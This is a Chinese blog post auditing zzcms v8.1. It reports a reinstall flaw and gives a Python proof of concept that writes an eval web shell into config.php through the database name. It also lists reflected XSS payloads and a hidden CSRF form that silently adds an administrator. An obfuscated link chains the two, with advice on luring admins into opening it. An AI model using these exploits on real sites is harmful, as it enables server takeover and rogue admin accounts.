zzcms v8.1审计

本文最后更新于 2019.12.01,总计 8289 字 ,阅读本文大概需要 3 ~ 15 分钟
本文已超过 1579天 没有更新。如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!

目录

一、重装漏洞

和其他CMS没有什么两样,都是通过lock文件来判定是否安装过CMS,只不过这里出现问题的是,对于lock文件的判定不是全局,而是仅仅在step1进行了判定,攻击者可以直接POST请求step2、step3来进行重装。分析如下:
Install/Index.php文件:

$submit = isset($_POST['submit']) ? true : false;
$step = isset($_POST['step']) ? $_POST['step'] : 1;
……
switch($step) {
    case '1'://协议
        include 'step_'.$step.'.php';
    break;
    case '2'://环境
        $pass = true;
        $PHP_VERSION = PHP_VERSION;
        if(version_compare($PHP_VERSION, '4.3.0', '<')) {
            $php_pass = $pass = false;
        } else {
            $php_pass = true;
        }
        $PHP_MYSQL = '';
        if(extension_loaded('mysql')) {
            $PHP_MYSQL = '支持';
            $mysql_pass = true;
        } else {
            $PHP_MYSQL = '不支持';
            $mysql_pass = $pass = false;
        }
        $PHP_GD = '';
        if(function_exists('imagejpeg')) $PHP_GD .= 'jpg';
        if(function_exists('imagegif')) $PHP_GD .= ' gif';
        if(function_exists('imagepng')) $PHP_GD .= ' png';
        if($PHP_GD) {
            $gd_pass = true;
        } else {
            $gd_pass = false;
        }
        $PHP_URL = @get_cfg_var("allow_url_fopen");//是否支持远程URL,采集有用
        $url_pass = $PHP_URL ? true : false;
        include 'step_'.$step.'.php';
    break;
    case '3'://查目录属性
        include 'step_'.$step.'.php';
    break;
    case '4'://建数据库
        include 'step_'.$step.'.php';
    break;
    case '5'://安装进度
        function dexit($msg) {
            echo '<script>alert("'.$msg.'");window.history.back();</script>';
            exit;
        }
        
        if(!mysql_connect($db_host, $db_user, $db_pass)) dexit('无法连接到数据库服务器,请检查配置');
        $db_name or dexit('请填写数据库名');
        if(!mysql_select_db($db_name)) {
            if(!mysql_query("CREATE DATABASE $db_name")) dexit('指定的数据库不存在\n\n系统尝试创建失败,请通过其他方式建立数据库');
        }
        
        //保存配置文件
        $fp="../inc/config.php";
        $f = fopen($fp,'r');
        $str = fread($f,filesize($fp));
        fclose($f);
        $str=str_replace("define('sqlhost','".sqlhost."')","define('sqlhost','$db_host')",$str) ;
        $str=str_replace("define('sqldb','".sqldb."')","define('sqldb','$db_name')",$str) ;
        $str=str_replace("define('sqluser','".sqluser."')","define('sqluser','$db_user')",$str) ;
        $str=str_replace("define('sqlpwd','".sqlpwd."')","define('sqlpwd','$db_pass')",$str) ;
        $str=str_replace("define('siteurl','".siteurl."')","define('siteurl','$url')",$str) ;
        $str=str_replace("define('logourl','".logourl."')","define('logourl','$url/image/logo.png')",$str) ;
        $f=fopen($fp,"w+");//fopen()的其它开关请参看相关函数
        fputs($f,$str);//把替换后的内容写入文件
        fclose($f);
        //创建数据
        include 'step_'.$step.'.php';
        break;
    case '6'://安装成功
        include 'step_'.$step.'.php';
    break;
}
文件首先判断是否存在以POST提交的参数step,如果存在,那么进入安装的流程。由于默认为1,所以基本上只要打开install/index.php界面就是这个界面:

1.png

先看看step_1.php:

2.png
存在判断。可是step_2、step_3、step_4均不存在:
3.png
4.png
5.png
这也就造成了重装漏洞。
直接访问:
6.png
然后点击下一步即可。最后会进入数据库链接界面:

7.png

这里需要注意的是,从step_3到step_4会自动生成一个token:

Step_3.php:
if(@$step==3){
$token = md5(uniqid(rand(), true));    
$_SESSION['token']= $token;

所以如果直接提交安装的参数会不能安装,因此需要按照步骤来进行重装。
到这里如果知道数据库密码,那么重装不是问题了,一般重装都是可以直接拿shell的,看了下配置文件,果然:

8.png

而在创建数据库名的时候,这套CMS也是没有进行过滤的:

9.png

因此可以创建数据库名为

cpanda;-- -');eval($_POST[123]);//'

的payload,直接写入一句话。

10.png

查看配置文件inc/config.php

11.png
已经成功插入一句话。所以直接连接就可以。也可以连接install/index.php 因为这个文件是引用了config.php的。

12.png

所以综上,利用POC如下:

# coding=utf-8
import requests
import cgi
from bs4 import BeautifulSoup

s = requests.Session()
url_1 = 'http://127.0.0.1/install/index.php'
def get_token(url_1):
    data = {"step":"3"}
    request = s.post(url_1,data=data)
    html = request.content
    soup = BeautifulSoup(html)
    token = soup.find('input', {'name': 'token'})["value"]
    return token
data_1 = {"step":"5","token":get_token(url_1),"db_host":"localhost","db_user":"root","db_pass":"root","db_name":"panda;-- -');eval($_POST[123]);//'","url":"http://localhost/","admin":"admin","adminpwd":"admin888","adminpwd2":"admin888"}
getResult = s.post(url_1,data=data_1)
print getResult.text
print "\nOK!The CMS had reset!"
 

13.png

二、XSS+CSRF创建管理员

审计的时候发现了一处XSS:
14.png

<input name="noshuiyin" type="hidden" id="noshuiyin" value="<?php echo @$_GET['noshuiyin']?>" />
<input name="imgid" type="hidden" id="imgid" value="<?php echo @$_GET['imgid']?>" />

隐藏字段noshuiyin和imgid,直接提交相应的参数就可以执行XSS,只不过这里遇到的小问题是,这套源码把单引号双引号给转义了:
15.png
这种过滤没什么用,绕过的方法太多,这里提供几个payload:

http://localhost/uploadimg_form.php?noshuiyin="/><img src=0
onerror=alert(1)>
http://localhost/uploadimg_form.php?noshuiyin="/><script>alert(1);</script>
http://localhost/uploadimg_form.php?noshuiyin="/><script>alert(/xss/)</script>
http://localhost/uploadimg_form.php?noshuiyin="/><input
onfocus=alert(1) autofocus>
http://localhost/uploadimg_form.php?noshuiyin="/><iframe/onload=alert(/xss/)>
http://localhost/uploadimg_form.php?noshuiyin="/><p
onmouseover=alert(/xss/)>xss xss</p>

反射型的XSS一般危险性是低,但一旦它和SCRF结合,就会产生美妙的效果:
先到后台试一试添加管理员,尝试抓包:
16.png
果然是没有Token的,那么就简单了,直接构造payload:

你好!再见!

<form method="POST" action="http://127.0.0.1/admin/adminadd.php?action=add" target="hidden_frame">
<input type="hidden" name="groupid" value="1" />
<input type="hidden" name="admins" value="panda" />
<input type="hidden" name="passs" value="1230123" />
</form>
<iframe style="DISPLAY: none" id=hidden_frame name=hidden_frame></iframe>
<script>document.forms[0].submit();</script>

效果如下:
17.png
不会跳转到添加管理员成功后界面,但实际上管理员已经添加上了:
18.png
可以说神不知鬼不觉的创建了一个管理员。当然,需要有前提的,这个前提是管理员已经登录的情况下才不会跳转,如果没有登录依旧会跳转的:
19.png
所以到这里,我们将XSS和CSRF相结合,效果就出来了,效果如下:
Payload:

http://localhost/
uploadimg_form.php?noshuiyin="/><script>location.href=http://localhost/test.html</script>

这里有个Tips,因为前文说了,过滤了单双引号,而想要跳转链接就避免不了的使用单双引号,后来请求师傅们帮助,得到了解决方法。使用`代替单双引号即可!
在加密混淆一下:

http://127.0.0.1/
uploadimg_form.php?noshuiyin=%22%2f%3e%3c%73%63%72%69%70%74%3e%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%3d%60%68%74%74%70%3a%2f%2f%6c%6f%63%61%6c%68%6f%73%74%2f%74%65%73%74%2e%68%74%6d%6c%60%3c%2f%73%63%72%69%70%74%3e

或者短连接:
20.png

21.png
或者最后再来一个分享到微博:
22.png
这个链接美滋滋~~
可能有人问为何要将这个链接给加密而不直接给自己搭建的钓鱼地址加密,原因就在于referer验证了,有的CSRF没有token的限制但是还有Referer的限制,不过这个CMS是没有Referer限制的,直接在自己的服务器上搭建那个payload让管理员访问就可以了,这里只是提供一个如果有referer验证应该如何绕的例子。

「感谢老板送来的软糖/蛋糕/布丁/牛奶/冰阔乐!」

panda

(๑>ڡ<)☆谢谢老板~

使用微信扫描二维码打赏

版权属于:

panda | 热爱安全的理想少年

本文链接:

https://cnpanda.net/codeaudit/104.html(转载时请注明本文出处及文章链接)

暂时无法评论哦~

已有 2 条评论
  1. 访客

    XSS+SCRF创建管理员 应该是 XSS+CSRF创建管理员

    |
    1. panda 作者
      @额

      写错了 已经修改 谢谢指出

      |